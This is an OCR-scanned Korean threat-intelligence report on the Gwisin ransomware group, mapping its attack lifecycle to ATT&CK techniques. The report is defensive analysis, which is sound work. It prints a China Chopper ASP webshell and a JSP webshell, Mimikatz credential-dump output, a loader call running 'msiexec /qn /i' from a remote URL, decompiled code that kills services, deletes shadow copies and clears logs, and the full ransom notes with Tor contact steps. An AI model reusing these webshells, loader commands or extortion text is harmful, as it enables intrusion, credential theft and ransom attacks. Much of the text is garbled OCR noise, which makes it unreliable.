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Hello= i «

You have been visited by GWISIN,

Search for our note in any of your encrypted folders called:
"IIl_ HOW_TO_UNLOCK_#) w4 FILES I TXT"

[F A (Gwisin) A0 ZE 2tH]

718
(Techniques)

T E——
FUY S22 Zero-Day YN
L HEELEELR L
OS] 2% Holx| 2§
Dark Web 32|94 AET

[HA(Gwisin) &4 TEF 71Q]

B

32 W
(Attack Proce

ss)

HE H2l=7 48

(SMB, WinRM, RDP,
3z w4
HEL3 221d

AD, PMS BE A

SSH)
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2. Cyber Attack Lifecycle & TTPs

Cyber Attack Lifecycle 2 52 CHAQ|
2

ettt s 9882 5
C £l
—

el SA0 oiek 24

24
(=)
12 &
o=

2ot H

FECEL

LHOI M 2+ SEA[Of CHet OOl s~ =[0{0F SHCf,

T e——F X 5
« Mimikatz At < LUE YEY3 =
. ’ ’ . « Credential & -84 5 84 #el
¥y > zEs || maw | sxuy
Epe . 2or 27 .ue gEs HHERX }—‘ U7 2t - HlolE| £&
- o] 4l ojoi .oMEE wEE ' . g of M3

« ZHICaCc Hz

T4l (Gwisin) HEO] =Z0] ZF THAOM AtETH HEfD M=S
TTPs(Tactisc, Techniques, Procedures)E &893t ILCt TTPs & loC(Indicator of Compromise)2t= CHEH|
2tES5H7| W20 A B X 81, ME2

AN B2 NS 5

Chot o MErs 192 M f=ott.

.27 Ty HE

. MR E XE U

[Cyber Attack Life cycle]

- HY HE =7 AE
WM Y W EE

t=| Of

AEo] SEE LA YR TS
ofzfol EAE TStD, 2t AfO|2o| Of= XIHIA
E8E

7
g2 BOXA €t ol2st 342 =25t7| ?loiME =7

HAXH2=z Felst7] 25

AO| 7| HO A HBH A0

No | Life cycle Tactic(ID)
) Vulnerability Scanning(T1595.002)
1 & (Reconnaissance) -
Credentials(T1589.001)

2 | 7| HE(Initial Compromise)

Brute Force(T1110)

Stage Capabilities: Upload Malware(T1608.001)

3 | 7™ = H(Establish Foothold)

Command and Scripting Interpreter: Windows command Shell(T1059.003)

Develop Capabilities: Malware(T1587.001)

System Binary Proxy Execution: Msiexec(T1218.007)

4 | A3t 4&(Escalate Privileges)

OS Credential Dumping: LSASS Memory(T1003.001)

Masquerading: Rename System Utilities(T1036.003)

5 | LI ™HE(Internal Reconnaissance)

Gather Victim Network Information(T1590)

6 | LHE =ik(Move Laterally)

Command-Line Interface(T0807)

Remote Services: Remote Desktop Protocol(T1021.001)

Remote Services: SMB/Windows Admin Shares(T1021.002)

Remote Services: SSH(T1021.004)

Remote Services: Windows Remote Management(T1021.006)

Windows Management Instrumentation(T1047)

7 X|& A% (Maintain Presence)

Command and Control(TA0011)

Exfiltration Over C2 Channel(T1041)

Windows Management Instrumentation(T1047)

Indicator Removal on Host: Clear Windows Event Logs(T1070.001)

File and Directory Discovery(T1083)

8 | O/ 2tZ(Complete Mission)

Deobfuscate/Decode Files or Information(T1140)

System Binary Proxy Execution: Msiexec(T1218.007)

Data Encrypted for Impact(T1486)

Inhibit System Recovery(T1490)
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HE
(Reconnaissance)

XN

(Initial Compromise)

7472

(Establish|Foothold)

A A
(EscalatePrivileges)

CEAER)
(Com;Iete

Q. &

A

Information
Gathering Hacker
|
v v
oA
WwWW oo
W LA & 1]
Middleware VPN
Admin Page SOlultion
Victim DA
Server
Ql o
o—@-o
d S o)
Credential
Steal

Victim
Network
. 4+“—>
[ ]

Active PMS
Directory
4
<+“—>
[ ]
Active PMs
Directory

OA PC
|

i

ww

Dark Web

v
e

Victim
Ransomware

Hacker
Server

(3% 25
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2.1. BE(Reconnaissance)

A7 HEL 37 Cjyol YE 4F U oY AAYS Tofets Yol R A ZEAA0/,

o [==)
T (Gwisin) HEAOOM ALEE A2 FPEE =7 & 70 s #5 20

I) 2E AM AdFI(Shodan, Censys)2 £t HE %

A= S40 SN 4 Ui Ml TR FA4H, R0 S/HE FAES MH|L, 20
QEE ZE, LEE X HO[X| § SACHYL o EE +TBCL o2 §EE +=TSH7| LIl
5i7{= OSINT(Open Source Intelligence) &4 AMZEIQl SHODAN, Censys & &3l 34 T2 S
XEHE Bt

#OSINT: 370l EMEREH FEE 221 0|F #M¢ YEE e HE Ty

S
SHODAN  J _ Censys

[SHODAN(ZE}), Censys(?)]

v g4 UE

74 AH XL ESl = A O A |:|| H H = X A K|
- OSINT &M AdXZ S ZE, MH|2, 2HHH, o{Z2(7H0|M8 MH X Yatd § & 3.
A TAGS 4 LAST SEEN: 2022-07-31
@ General Information 55 Open Ports
== == _ e s e B TR 443
Hestnames o —m—— =
Domains BALCONY.STUDIO AMAZONAWS.COM 4/ BO / TCP Z
0 1721:48 !
cloud Apache httpd 2418
Amazon
Provider HITR/1 .1 200 0K
Date: Sun, 31 Jul 2022 21:48:02 @I
Cloud Region ap-northeast-2 i:;gf‘:::t‘:i;‘:: (Lbent)
Content -Length: 323
Cloud Service AMAZON Content-Tyge: test/htal: charset=UTF-8
Country Korea, Republic of
# 443/ TCP 4 SG0CTT6N | 2022-07-29T1S:57:42. 767755
City Seoul
AWS ELB 20
Organization AWS Asia Pacific (Seoul) Region
HITP/1.1 404 Not Found

[SHODAN ZM Xl (G A
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Il) DarkWeb 2 ¢t 37 {4 HE Jof

ojn
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&5t A
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£ 324 CfA2l VPN, WEB, E-Mail

=
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2Oy, 2) 7ot &

o
R

M

oM FEE= AZEEE EHZE CHE AOIE 7

4.3

#32|EHAE AH

Surface Web

Dark Web

[Dark Web]
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N
N
Pl
N
12
4m

(Initial Compromise)

£7| HEOME 47t HROIN HE YHE Sof 3F (S SBICL HA(Gwisin)
QYOI BIER| WHO| Ol AW YEES Y8 VPN BI, L BalR HOIX, YHYS So
37 Chyol CHydt 3% 452 BHY HOE HAHCH AT HT Al RAT AMIC MY Tt
Y Y2C2 Sof £7| A HEYT
) OISSI0l B2I%t HOIXIS 53 UW Y=E

EX

= O

Q| F0f

0S40 22|t HO|X|E Sl WAR I (Web Application aRchive)g PE2ET = USMH,
z

IHE maIRt HOIKE Sof BARIE WHS YRSB4+ Ut

= H=2=2 d

#0|E901: Os @t APP FZt0l| B Aeg dt= AZEQ0f(Apache Tomcat, WeblLogic &)

270l

http//hosi

or WAR file located on server
AFSX0|E  tomcat

Context Path (required)
HgH¥s

XML Configuration file URL
WAR or Directory URL

| Deploy |
WAR file to deploy R

Select WAR file to upload ( Browse... I-}NO file selected.

| Deploy | [ Nofile selected.

[WAR Y2E (0lA])]

v g4 UE

Q70| 2EE Apache Tomcat #2|X HO[X|0f FX¢| CHY S L& Ie|dHE= AT 45
WARIHY YZE 7|55 9800 g Y= A =7 AY ==
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I)VPN 2 S¢ LHE HEYI HE

VPN 2 WM& ZEXte} 3[At LHEE HASI= 7HMO HEXIE HENFE 7|22 oA
o483 VPN HOIH, F2/H4 B2 So= U2 HEYI0 YE £ AUtk
VPN Solution
---------- SRR &)
. - e T
Hacker @ |F==—=—=——
6@’ '@
rf ------------ = \
1 OA Zone : DB Zone
1
1 I = = = .
| S SR | B0 02
\'h. ______________ - e Y e YV o VY o Y e Y t‘

v oA W8
- oo 2= vpN 219 Ho|X|Q| Rt fY L e F2|d

=]
- 719 Wl HEYD HE $ o8 B 34 Y

ra
|l
Hu
ro
ol
0x
OH
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2.3. 748 =tH (Establish Foothold)

x7| YES BEE AAH PE(SAE 0|F, YEYI, 05 HE 58 +TtD

HE 2=
7|50 2Z &

e e VZL(B F, ISP)
_i-_i SHHIC YRE (RAT, WHU)

aiH A

L J

10

|
=

e

) 2c

hu

ASP 3F = QU40|L} Yo 2HE JSp AAS HESHM AFRSICH AW E Mo

+ el £ Moo
AMSD, NHOA AFSSH: Z2MA 22, YEYI ME, AN HE2It B2 0HYS A= Sof
W= Bhh

v dd HE

® #&=uy
- Y=zc A2 ¥ MB ZZWaspnet_clientWsystem_webW[H ™ ZH]
- oY B=0| o & BHEO| mE ASPIIY Y¥RE
- Yo 4y |5
<Hresponse, write CreateQbject"WScript, Shell”), Exec{Request QueryString(nt")), StdOut, Readall (%>
[ASP - ot & & (China Chopper)]
@ Jsp ¥

- f2E ZFE2 ¥ MY FZWupload

- o ?éioﬂ 2!% IEVH B sp oY YRE
- B3O ZY(URL itz 22 XS B2 XN cMD BEO 2d) 7S

Top-CERT 10



¥ master =  webshell / jsp / test.jsp Go 1o file

3 lines (3 sloc) 451 Bytes Raw  Blame g o« 2
1234<%@ page contentType="text/html; charset=GBK" %»
«X@ page import="java.io.*" 'inld'e String cmd '{';ucst.gcti’.:tr'am:tcr("c"d";u;l";.trf.ng output " iy

out.printlnfoutput) ;X

"java.io.*" X

ocumentId request.getParameter(”
H

null) {

HI."'It'iI.-d".F'_i' it ime( ) mentId,null, null);

[GitHub Of S7HE JSp &l (&, HX ALEE Jsp & (3h]

1) MSI T{7|X] MX]

MSI(Microsoft Installer

9IS H2EE o}

Fl/r
E
|
HU
B>
[E
[m
Mo

o Hi
Ho

ol Mo

mn of

MAOIM AHEStE 2X T7|X 2 FEX O A
IE

= ?25t0 4dAES dX|ettt

|'|['
o
13
|0
Hu
N
rH
10
H
2
)

v g4 UE

- HA(Gwisin) AU M 3EXSZ MSI TH7|X| OIto AdHIEE ARASHH msiexec
THOE ALESI0l C2 0| MSI T{7|X| CtR=E I A=lsict
- MSI A0 AFRE HEE2 AES S FHOE WAL BHOI StEAGE
CHREC(DLLE Solf JH
- MSIZ CHRRE, ME ofgACLE RATS HMQ0] F7H| 55 ol
File Edit Tables Transform Tools View Help
D& = M =
Tables Name Data
AdminExecuteSequence - [Binary Data]
AdminUISequence
AdvtExecuteSequence
Binary
CustomAction

MSI THZ|X| ot LHE 2| DLL Binary Data]

Top-CERT 1



[

St Ak

2.4. #et &S (Escalate Privileges)

s M52 T Lo AFRRH AH HAYSE YOHLYZLE Z7b8Ql AHS MABICH w8 2
Chatol A @ho| T2l Weho| O AL WS MBS 98 052 He As FHAHS LUl
B2|R} HBHS FEL

=R

32|dd 3 =& O|8oHH LSASS Fxupol (At & R AZYEE 25g + an, o

= AN o
MEOA CHE MEZ fZAcz 2O0l510] &5t QATE CHE AHel J2|HE Eot 258 4 AL,
#LSASS: Al2EI0| Fadte §HO| 2I0lS BASE HES JlE T2AA

v dd U

rul [ = Py o 5 el M EFX imi =2
- S4%s HE Mue HoF £RME 9msty| {5 A2|HE BF = (Mimikatz)E AMH O
= oF o o ni = 1T TLolo =
ARE SR %1, AT HAWEXE Sof LSASS ZEAA HI THAS WY F Gzp
=3 EFX
Y=ot =
F ;
| 8 Windows Ztgl e Xt o] &= |
OHRF) SH(©0) E2I(V) E8%Z(H)
S2 =223 | Z2H2 M2 (45 [uss2 [A=5
OIDIXIOI&®  AHBA.. C.. M=Ral(. &% A
'Isassexe i SVSTEM 00 /107 KA Inv/.‘ii‘ Se ‘
IMEDICTUPD oY X 271(0) psoft.,
iexplore.exe , = z petE.. (=== e =
iexplore.exe . :_*.i*i!i 2UH7IE hetE... | EENLEE
idab4.exe ZZNA E2| BUZI(M Intera., .. It2ol s SLICH
ida.exe al = e
HxD.exe AC 7| Hex., [ T 2R
explorer.exe e Jows... : y ~1 T
s o l Sz 012 0rS7|(0) l S ?3;\?5,5%5&#&01\/!!!\1 WappDataWlLocalWTempWisass
dllhost.exe oM 29| ME(P) » fSur...
csrss.exe = 5 it Ser,. 20|
csrss.exe | H=E 2@ lt Ser .

[ZIHEE2[AFO A LSASS =2 A& HI of e 2 (KA

4 mimikatz 2.2.0 x64 (oe.e0)

mimikatz # sekurlsa::minidump lsass.DMP
Switch to MINIDUMP : "lsass.DMP’

mimikatz # sekurlsa::logonpasswords
Opening : ’lsass.DHMP’ file for minidump. ..

Authentication Id : B ; 86217 (00000000:000150c9)
: Interactive from 1
: Administrator
: WIN-06J7/REQLRIGA
Logon Server : WIN-BJIREQLRIGA
Logon Time : 2020-04-16
SID 1 5-1-5-21-2133728656-3032021392-4233145795-500
msy
[00010000] CredentialKeys
= NTLHM : 209chllidai90caebb22t3Tad>alaeb34
= SHA1 1 JcBI5411d3F3ef5016e12d411900c87ab046a8e8

[EFet LSASS = mOM 3 Aol J2|HE FE =5 (GAD)]
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2.5. LI d#E(Internal Reconnaissance)

b 22 HWEAZR Ho

=
Im
)
Al
>

Ne =7& AEsHY X
E

L oE e MHof ChE YEE T U 2T 0l 3 3 WS AW O ABEHC

AL
12
o
%
o
e
[m
i)
m
-
b
i
=]
©
OF

-

5 HESD fo A

@

AHE M e HEYI f

W HESD B2 27
v MM U8

© W HEYZ ZE A%y
- 270 =R(Nmap)E 083t AlAgo| S HAS B EEO| BN K2 X

G (WMware)

(1 host up) scanned in 98!
[INmap ZE AZH (OA])]
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2.6. L5 =i (Move Laterally)

T EtA Al2EIS 7| 23l LR YES Sof 2EE HEXNI 749 8 MY, B S
St

| =
of AMACE YE M2 MOpsto},

) ¥ #2| = (RDP, SSH, SMB, WinRM)E 8% LiE 0|F

e SEON =Tot HEE 0|83 /=® A4 2| =FE AHESI0 Ef HEQIZE O|STHCt
& olSe2 34 a2
v dMH UE
- SMBEEZE ZZXt 3/)E 0|83t Domain Controller Off Z=QI=l CHE A|AH HEH
- RDP(RZA HA3E GZE)E 0|8510 &ET AF¥C=E AH HI

- WiRRM(ZES 947 B2)2 083 Y ¥

1) XP_CMDSHELL & 2¢2%t A|AR HEH ALE

XP_CMDSHELL Z2ZA|ME 2dst AU 0[8510 &2 255110 0|8 Sl Ao =2
HE(OlE2[A 0|42 DB 22 FE 5)8 STt

v dH UE
@® XP_CMDSHELL (MS-SQL SP)
- MS-SQL MHe| 4 M F show advanced options, xp_cmdshell Zt0] 1 & f 2ds}

®Dxr= 2021 N EmEmg Y MSSQLSERVER 15457 (2)

O|ME 15457, MSSQLSERVER

2 XM

F& 84 'show advanced options'0|(7}) 00Af 1(2)8 BMAIASLIC, RECONFIGURE £& 480 SXISIJAIL.

[Application Log : show advanced options &-d3}]

O i sseye Gl s SR meabell  sarssucErmrn AESET s

O|AE 15457, MSSOLSERVER

¥ XM

F4 &4 xp_cmdshell'0l(7H 001AM 1(2)E WIS LICE RECONFIGURE 2§ 2830 EXTEAL.

[Application Log : xp_cmdshell 43}

Top-CERT 14



) ZL| 22 M| PMs 7|5 o83 SHMIAC by

H

ilLH S ZM2| PMS(Patch Management System) 7|62 24850, RATYHEIEE LHE HEYIO
5t 70| #

s= %48
ULt o ERVoR HixL= Z230| fRed A5 otA Helthe 20| FFHO| =RAL.

?E

v g HE

@ =L 2FM PMS 7|5 At UM I E (Downloader) HijE

- I sTHS TY YN T EY, MY B2 52 e TY Y A F7|Moz
o]

A| SIS mpQ(x++%)0| MSHE|= X|QFFO| A

—

Ot msiexec 2 dliT TS MHX|t=

o
Ho
HU
In
nk

LMRESULT __stdcall DllRegisterServer()
2

| s 1pPathiame([S8]); //
4| HRESULT v2; // +9Ch

HIWORD(v2) = @;

| strcpy(& t [54], C:\\Progras Files (x86)\"x - - Ry ' e “);
, st"cpy( thiiame, “C:\\Program Files\\likai Cardl - 202354 - el dimin'Y;
| eateDirectoryA(8 thiame[S4], 0);
', CreateDirectoryA( thi , 9);
ShellExecuteA(O, “open”™, “msiexec”, “/qn /i http:// - L =", 0, 0);

return v2;

[_**** H_l.(lDEI _.?]_E]

Iv) 84 2] EFWwWMNE &8st HEH0] Hi=

WMl &2 22| =42 o944 Z20MZ HX|SHA| Lot Y RAER|, DHUAAH % 8%
HEo 2 &= UCL s AHO|A0 A= AD A2l WMI TCP Port(135)7F LEE|0 QYAD AD
S

MEOA WMl S8 2AE(wmiprvse)E 0|80t AN E LT MEHO| HZ S ALY,

—

o rr

v gM W8
© ®F 2 =FWMNE 83 M0 Hiz
- WMI S AIE610 2AER AER HHAIOZ KoY ?_HA-I_?__"O.I (F*** mgi) AlH

=== Verbose logging started: 2022~

2 Build type: SHIP UNICODE 5.00.9600.00 [Callan process: C.\Hxndows\s1s:em32\wbem\wmszvse.exe]'--
MSI (c) (44:40) [ . ww]) : Resetting cached policy values
MSI (c) (44:40) [ #8 J&d Bewi) : Machine policy value 'Debug' is 0
MSI (c) (44:40) [ ] 3 sestaas Ruﬂ!rgxﬁe

. Pxoduc: [b\:\:p /7 [T WA 1 |
* Action:
CommandLine: ***sasxans
: Client-side and UI is none or basic: Running entire install on the server.
: Grabbed execution mutex.
: Cloaking enabled.
§]: Actempting to enable all disabled privileges before calling Install on Server
: Incrementing counter to disable shutdown. Counter after increment: 0
: Running installation inside multi-package transaction http:// o T - -
: Grabbed execution mutex. N
: Resetting cached policy values

MSI (c) (44:40) |
MSI (c) (44:40) |
MSI (c) (44:40) |
MSI (c) (44:40) |
MSI (c) (44:40) |
MSI (s) (F8:DO) |
MSI (s) (F8:DO) |
MSI (s) (F8:08) |

{

l

MSI (s) (F8:08) 1hina : Machine policy value 'Debug' is 0
MSI (s) (Fg:08) BREBEIENE]): reenann RunEngine:
"""" Product: htep://«= _ T S —. . —

(97 22| = WMNE msi I{7|X| AxX|]

Top-CERT 15



2.7. X| % 4H(Maintain Presence)

§ XI&dS FXISHH, Cyber Attack

10

i

i

A= AYIE
Lifecycle O 4 THA ~ 7 THAE BtE5H0] s e

{lo
%0

-t

1ol
o

Kl

%0

[

m /////__
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=
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2.8. 582 =4 (Complete Mission)

A= AN 2 8o 2f =2 HESCE HOIH x| o=
k=3
=

AD, PMS S2| A|AH

C2 Hiojg| |§=

Hl(Gwisin) 4 dF2 gt= IP 2| C&C AHE 0[8o10f, A 2l o I AlAE2

O
YEE RECLL MY Aot 0|, 2ot th7tet RE ARE S/t Y S o8 8T F7t
7L 525 72 TS 37HK| Y22 1 E|0(H0lE =23, 2 E|0|(7Z HO[H 2/F
TOiSi), 3 EIOf(ES FA4H 24BN HMI)2 =HelEct
72 A%
0 B B B 0 &Y
7 M1 el M2 7z M3 He Hea AT Ml 2 3 o5l

[C2 EIOIH RE]

- gsle 20 stol 2 AE MU 2AXF 2 M el 95 EaiT Wy

- mal 70l 85 AR B S X&HQ Hetg £3 2H Q72 djg) g

~ HgEEel Ml 7Y AARLl B, A RSl DA TR0 Dol J ME REE 2Hoz
sid

Ve )

i oHAS L,
e == ESs-T= 1
SRS HauCt RESULTS (OMLY 10 MAX ALLOWED]
le e B i HRtAL2,
UE U AT AR ECE
B AIS. i B e Calabracs W1 Al @3 Forwigres

C

Tor Browser Web:

[ms 7|gel oA HEE SMS]
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1) HA(Gwisin) YO for Windows

—
LHSHE Fileless YES| AFREO|CE L7|YFOM= AD MHE Soff iz 5 2

AD ME{O| AFEE HHAOE MASHA| BoF XHF 0| 7Hs5ERALY.

T4 (Gwisin) ZHEYH Ol SHO0| ArEEl RAT, HHYONE & Z2 N0 AIHM5ID
o
=

T (Gwisin) HEHAO= MSI 22X THE HEZ FELH, FgIE SHO= 58 27t 25t
WA 2 A, SH U2 7Y Y2/ HLEHE HHEL Yool YA YTt

By

1. 3y oleE 2 HY ESHAG 3. A O 4. 24 Mt B 27 5. |2 F2
dac g3} gac o o B 43 X

@_g E@x .1) = @X

6. I2ZHA FR 7. 8X5 % VSS AH| 8. I A= 3t 9. AWML E MM 10. Eventlog At

[HAl(Gwisin) 2HEYO 2 L HE)

o

AEs ez F0f A

SER'AL:**************** LICENSE:**************** ORGz***

0
>
Jm
o
Ao

A 2

: msiexec.exe /qn /i ***.msi

3(al, "SERIAL", v9G, &v74);
12 = FileName;
3(al, "LICENSE", w97, &v75);
3(al, "VERSION", wos, &v76);
3(al, "ORG", w39, Bu77);
v13 = 128i64;
y78 = 512;
while ( w13 )
1
w12 = E‘j
12 += 4;
-—ulE;
t
v3({al, "OriginalDatabase™, FileNames, &v73);

[FY o4 M 3
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c A28 EfO|HE 0|83l ey ofel =7 dAlS ¢

Sleep(1000u);
memset(v67, ©, ©x1000uibd);
memset(v65, @, sizeof(v66));
vs4 = 2048;

o
i
2
mjo
1
0%

while ( time64(0i64) <= [ haie® wiu]) Format cmooncs

GMT Bl PN 2022 A B GMT+0000

Your Time Zone

e om0 2022100 8 6 GMTH0900 (31 EEA)

@ A (Gwisin) BHYO| T He

- 22X 43 0

Mame

b ﬁ' Mmsiexec.exe

PID CPU /0 total .. Private b..

7824 001 7.82 MB

[T (Gwisin) THEY O ZE2MA E2| - WerFalutexe Q1% M]

=
=
Query & =¥ > Query 21t 2XIE S FIb HUBI0 Mutex & Hdsl 5=

msf 7| xE=|AL =02

SAXl Fake EH|QI

http://***********z.com

http://***********.com

sprintf(ve7, "¥s.cb.=em L]

¥

*(_ m123i *
*( m128i *
*( ml28i *
*(_ m128i *

&vE5[16]
&vE5[32]
&vG5[48]

o

if (va )

g-com”, (const char *)veg);
DnsQuery A(vé7, 1lu, @x1E8u, Bi6d, (PDNS RECORD *)vésS, @i6d);

wB5S = _mm_loadu_sil28((const _ ml281 *)&xmmword_BAE20888);
_mm_loadu sil28((const ml1281 *)&xmmword BAE2G833);
_mm_loadu_sil28(({const _ ml28i *)
_mm_loadu_sil128((const _ ml281 *)&xmmword BAE2BEBE);
*(__ml2g8i *)&vE5[64] = _mm_loadu_sil28(({const _ ml281i *)

*(_QWORD *)&vES[88] = Bx64BBE1OA36164;

w3 = OpenMutexi(@x1F@@elu, @, (LPCWSTR)VES);

&xmmword _BAE2B8BAB) ;

Exmmword _BAE28@CE);

[DNS Query, Mutex 4 ZE]

ol
#WerFalutexe: RIS AILEIOAM Of2{7F ZEHSAl off2{0f CHet LHES 2= F= Z=M2
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S8 Mbl~ B Z2MA B2

vl2 = OpenServiceW(vl, vi@->lpServiceName, @x2Cu);

vl3 = v12;

if ( viz )

1
sub_GAEBIFFE(vl, v12);
ControlService(vl3, SERVICE_CONTROL_STOP, &ServiceStatus);
CloseServiceHandle(v1l3);

[MHA Z2 AC)

vB = CreateToolhelp32Snapshot(2u, @);
vl = vBj

if (ve )

1

pe.dwSize = 568;
if ( Process32FirstW(ve, &pe) )
1

do

{

v2 = (const wchar_t **)qword_BAE24848;
v3 = *(const wchar_t **)gword_BAE24048;
if ( *(_QWORD *)qword_GAE24B48 )

while { wcsicmp(pe.szExeFile, w3} )
1
Vi o= FHu2;
if ( vz )
goto LABEL_9;
1

v4 = OpenProcess(lu, @, pe.th32ProcessID);
vh = viy
if (e )
{
TerminateProcess(vd, @);
CloseHandle(vS);

[Z2MA S2 AL

O
Aot CHA Db O| Offset 0x00 R X[FE| 256Byte ZHEC

HOIHZ Hojx= HEiZ

sub_BAER1@3@(.5, 32786164, "%, a2);

w7 = CreatefFilew(ve, exCeeeeeee, lu, @i64, lu, @, @i64);
v8 = w7;

if ( w7 != (HANDLE)-1i64 )

NewFilePointer.QuadPart = @ie64;
if ( setFilePointerEx(v7, @i64, 8NewFilePointer, @) )

i
va = 2563
vig = @;
do
{

NumberOfBytesWritten = @;

if ( IWriteFile(v8, (LPCVOID)(al + v1@), w9, &NumberOfBytesWritten, @i64) )
break;

w18 += NumberOfBytesWritten;

v9 -= NumberOfBytesWritten;

while ( v9 )3

if (w10 == 256 )

1
FlushFileBuffers(va);
vz =13
CloseHandle(va);
free{ve);
return vz;

Top-CERT
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oH0| *I—I

Volume Shadow Copy & 4

xHHsto| glsl

tXSt= Anti-Forensic 2

AlAH” L Windows EventlLog

Sh
=]

A

CoInitializeEx(eics, @);
v3 = ColInitializeSecurity(@i64,
S|

i
t
(*(void (_ fastcall **)(LPVOID, OLECHAR *,
Ppvs
v,
@ics,
@isd,

-1, 0i64, @i64, @, 3u, 0i64, @, ©i64);
== BxB30018119) && !CoCreateInstance(&stru_6AE2156@, @il

= @ic4; ;

_QWORD, _QWORD, _QWORD,

v3

EvitClearLog(eic4,

if ( !EvtNextChannelPath(ve, vi,

wi= Bied;

vE = 9i64;

vl = SysAllocString(L"ROOTA\NCIMVZ");

vl = SysAllocString("W"); vitOpenChannelEnum(@ic4, @)
v2 = SysAllocstring(L"SELECT * FROM Win32_shadowCopy™);

i, eiss, @) )

i, ChannelPathBufferUsed) )

= GetlLastError();

oMIE 21

Xlols |AE-II‘I|- El-*l'c':.' NHE O| |AE |- S| BHM L E AHAM
- Aeoh A|AED EFT HESO| 2[AET ZotE HHELE Y
. . . . o
=2 & T 7|Zo[Lt 22t HE S|Ao| AHSHX| fets 0 HAIX|ZF 2R o
ot=ol T 7[&O|Lt EOt ME 2|At0] AHESHX| Yet= 10 HA[X]7 =
0|O|j:| |A i Eklolo-lol HAI- |O-| I "'i. |O-|O = el -]
=4, :TI'I_I(GWISII’\) Moo CHat 7| ol Bt e 2 =QlE.
. - LS OB T3 wnon 1o 0ok ag s et - a2y LS lE L oW TOUMOCK AR R IIDT - 828 TR
YT MUY RANV)  EEWO0 — B T MU RAN) SR - A awe ) M) BN SRR —
Mello SIAE, « {|[re110 BAIR Malle TAIE, -
tave esn visited by GISIN Vew have bean visited by GHISIN You have bean visited by GRISIN,
work has been (nfilteated, seesitive data was selectively collucted
Text1T8rated) and sncryoted on your sremises %o have deenty intiltrated your matworks. extilteated nearly 178 of data and W0 have deeoly IntlItrated yoor networks. wxiiltrated nearly 118 of data and
encrypted sensitive systess. encrypted sensitive systess
infrastructure conpron|sed
All critical networks and servars (SIAIE AD takeover, MO (KR) + ON + W Infrastrecture compromised Inlranunun CORDION:
- Active munwy n-nu. (BAIE AD s fully conpreaised) Aetive mmmv :nnm (!Ab! 40 Is tully conpromised)
Storass el iances snd buvarvisors (Storase arrars lo.9 BIAID-FEBIIONV. - Network and Security appliances Noteork y 400! iwnc
Forites Backuo Exec. Hoery and -S!oru' ool i Storase n.
- ESXI Myservisors (e, E51 Toservisors. (Whare)
Ihe data ve have collected (dowloaded) inciudes: - T8 AIX servers used for the sroduction/test environwent (Jeus / Oracle) BN ALY Sarvers used Tt the prodction/test sowiromant (Jeus / Oracle)
Business 1 fyosertion gatn)  BAZIvPE0l > IS FILEN > - HP/Dei| servers that are not AD-joined 1P/0el| servers that are not AD-joined

ISCS! stor: NS .

.9: HAS
.‘llml ﬂll ('Il.:l‘d Includes specs.

designs, many AutoDesk flles
AR arp / scdist / vc.tin / sty / secon

contlguration data): PlusBorkFlov, ezPersonal, szAboroval 000,
ore. (all EKP U were collected)
= Exchange E0Bs (ve can generate PSTs for sach esployes of {1ine. so we
e atl organization emails)
Source code: Various source cade collected from flle shares and bulld VS s

n-am,

sa!n distridbution, other)
WV

The ooed news for you |s that we can deceypt all files with extension ~. SIAID!
e con aiso deiste all senitive dota thet ve hive collected frew our vaults -l
ot $01] of lsak

You can auickly recover Business processes and avald bad publicity which wil)

| @anage your reputation with customers, lons-ters revenue and stock value

To contact us. follew the instructions

1 MIM Tor Blwr

o /feve tororelust ora/devalond/
2 Ga shb?-v'i'mﬂ_gfnmdg SBT4 onien/
3 umn -uh uu ©, D
e passenrd (oo tise seiuo
5 4D #nd-10-end encryptioh chat passeerd
6. 3} lbn the full instructions and contact &% usimg the wessape system on the
vebsite

Dunuu vn within T2 working hewrs vis our chat systes ¢n the websit vided
ancact Lue nforcesent (no KK, KISk o Sthers) a5 they w11 Drevent $ou

||ol mlu and slov down the recovery brocess

They con & help vou secure vour meteork or prevent the leskase dats, but sest

inportantly, they can't heip yew recover yeer dat

To be besest,

e data ve have collected includes

toner data flowing in #roduct lon sevironment (Oracie production
l seomont, docunents, ete

it and acceunting data from the o

- conn‘mul ocuments Tarsounding current and sast Mlmulrhk watters

whatever your INT have access to |s what we have a5 well

0 be honest, whatever your (AT have access to is what we have as well
he dats -‘ have col lected includes

Custonss 1}

nvirml dvn—nl

¢
faywent

Contdeat 1al ¢ dxu-m- p

Al

8 duta frem the compery
rrounding currest and

owing in yewr Droduction environsent (Oracle preduction

To contaet us.
Download Tor Brovser: Mtps:/,
Go ir webs. ht

follew the instrections:

nglm 1 ov-/?n olﬁ:n

i
. passvord 3

1
2.
3. Losin e AH
4 -y (000 tine setup
5. -to-end ancryot lon password
G nul the full Instructions aed contact us using the sessage systes on the
am-u us within 72 heurs and |dentity yeursel! vhen spesking to es vis our chat
5y

.0' Qntact law enforcement or threat intelligence (such as KPA. SWPA, FSC
FISh, NS or omw- ¥ contractor Sinfosec) as they may
pr you 10}

hey con | l ‘rantly haip vou and they don't care |1 your dusiness is destroved in
the eroc

To contact s,

Totlow the instruct lons:

Iolﬂ/
Lonion

past business/r sk unu:
- il in-bouse app!ications (trading software, prodection Java wedsites. etc) In-heuse apel|cations (tradies software, product ion Jiva websit
- Pracuctlon Satapases. (81¢h Correuponding Gucryptioe kevs Tor Sota sterod in the |- Product on datasases. (314 Corresaonding docrvotion hays for dats stored in the
= Full dewp of Markiny DN data (ve can decrypt all of your docessnts offline) - Full duss of Markhny DR data (e can deceyot a1l of your docusents of!line)
The good news for you |s that we can decrypt all f1les with extension “ BIAIS", @ 900d nevs for you |s that we can decrypt all files with mmun I!A?'.’.'.
delete all sensitive data e have collected from our servers and disaoear B8 e e g Rl B ot R L Bl

(‘auugl us within 72 hours and |dentity yearsel! shen soeaking to ws via our chat

Do
xls KIS ulunm- such &

5 your security contractor SKinfosec) as they
|

T contact tar enforcanent or thragt Intel!isoce (such as NPA, SNPA, FSC.

-y

rovent 0N pay iy
The can't. taslly help you and they don’t care |1 your Dusiness is destroved In

the srocess

[ Al(Gwisin) Q0] M- E)
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I H A (Gwisin) MY for Linux

Linux Al (Gwisin) M Q0{= ELF ot HEZ =Ll oM
MOl A Al 34 ool 7)Y HEI HAEHE HHELER

v g HE
@ TH(Gwisin) HHAO
- U0 H> Al /tmpy prrkrssio ode FHAR AE%0 5 HAS
X5t Lot ot HO|HE 225}

. =g HolH - A, AL, O] P2, YHO, AU}

-

000055€2:038e15d9|5b

000055e2: 0381549 |5b Ppop rbx

rsp = 0x00007ffdead68boo 'sp = 0x00007ffdead68b0O

3ta Dump

®  0x000055¢2038f3000-0x00005562038f3000 # 0x000055e203e22000-0x000055¢203e43000
